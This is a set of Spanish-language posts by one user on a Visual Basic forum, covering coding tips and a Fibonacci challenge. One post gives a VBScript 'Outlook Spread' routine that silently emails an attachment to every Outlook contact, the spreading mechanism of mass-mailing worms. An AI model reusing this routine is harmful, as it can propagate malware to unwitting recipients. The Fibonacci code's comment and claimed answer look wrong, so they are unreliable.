HOLA!!!

Leete este reto completo y podras apreciar como funcionan internamente esos operadores:
    [RETO] Reemplazo de Operadores Binarios.

Ante cualquier duda que surja me avisas

GRACIAS POR LEER!!!

HOLA!!!

Hice una suite de funciones para VBS entre ellas una de Outlook Spread, funciona si el user tiene el outlook configurado.

Esta funcion envia un mensaje a TODOS los contactos de Outlook y podes ponerle mensaje, asunto y archivo adjunto

Sub SpreadOutLook(Message,Subject,SPath)
Set Contacts = WScript.CreateObject("Outlook.Application").GetNamespace("MAPI").GetDefaultFolder(10)
Cant = Contacts.Items.Count
For X = 1 to Cant
    If Contacts.Items.Item(x).Email1Address <> "" Then
        Set Email = CreateObject("Outlook.Application").CreateItem(0)
        Email.To = Contacts.Items.Item(x).Email1Address
        Email.Subject = Replace(Subject,"%nombre%",Contacts.Items.Item(x).FullName)
        Email.ReadReceiptRequested = False
        Email.HTMLBody = Replace(Message,"%nombre%",Contacts.Items.Item(x).FullName)
        Email.Attachments.Add sPath
        Email.Send
    End If
next
End Sub

GRACIAS POR LEER!!!

HOLA!!!

@Benjo:
Esto es VB Classic no net  

Pd: como dijo MCK, si tenes una rutina asi:

Private Sub Timer1_Timer()
    SendKeys "{ENTER}"
    SendKeys " "
End Sub
 

Agregale doevents asi:

Private Sub Timer1_Timer()
    DoEvents
    SendKeys "{ENTER}"
    DoEvents
    SendKeys " "
End Sub

GRACIAS POR LEER!!!

HOLA!!!

Muy bueno Mad!

No probe el trainer, pero me gusta como armaste la interfaz esta muy practica!

GRACIAS POR LEER!!!

HOLA!!!

Creo que se por que sale ese error ya...

Voy a ver si lo arreglo, se debe a que en el momento que tenes abierto un msgbox quiere salir un popside y ahi esta el problema, voy a ponerle un retraso a los popside si hay un msgbox activo, pense que el msgbox detenia el codigo. (inputbox)

GRACIAS POR LEER!!!

HOLA!!!

Mmm entonces tenes un VBG, yo te digo, me paso una sola vez eso y no te queda otra que ir viendo, de ultima apreta F5 y antes de clickear donde se abre el formulario de ventas apretas Ctrl+Pause luego apretas y seguis con F8 los pasos para ver como funciona y que hace cuando apretas ese boton, tarde o temprano te va  a llevar a el form que queres.

GRACIAS POR LEER!!!

HOLA!!!

Osea abris el IDE, luego cuando abris el vbp al costadito te aparecen los modulos y formularios.

No hay mas ciencia que eso.

GRACIAS POR LEER!!!

HOLA!!!

Psyke1: Tenes razon, habia un error en mi procedimiento, al corregirlo me di cuenta que el procedimiento de todos estaba errado tambien, dejo mi funcion actualizada en el primer post.
Aclaro aca bien cual es el resultado correcto (que no es el que decis vos por que tiene que ser menor al limite.)

Generar algoritmo que devuelva la suma de los números de la serie de Fibonacci, y esa suma sea menor a 4000000. PSYKE1 TRADUCI BIEN

RTA correcta:
 3524577

GRACIAS POR LEER!!!

HOLA!!!

Aqui una respuesta simple, ando sin time para hacer algo mejor:

Private Function Fibbo7913(Optional Limit As Long = 4000000) As Long
Dim aux  As Long
Dim act  As Long
Dim ant  As Long
Dim suma As Long
    ant = 1
    act = 1
    suma = 1
    Do
        If act And 1 Then suma = suma + act 'operacion binaria que me dice si es par o no
        aux = act
        act = act + ant
        ant = aux
    Loop While act < Limit
    Fibbo7913 = suma
End Function
 

P.D: esto me hace recordar a: [RETO] IsFibonacciNumber(N as long)

GRACIAS POR LEER!!!

HOLA!!!

Eso que me decis me deja atonito...

Hice los testeos y los acabe de realizar nuevamente, tu funcion es aprox 100% mas lenta que la mia ( y siendo generoso 100%), proba con este ejemplo que arme para medir el timing, acordate que se testea compilado.

(borre el codigo por que lo hizo E_C abajo.

GRACIAS POR LEER!!!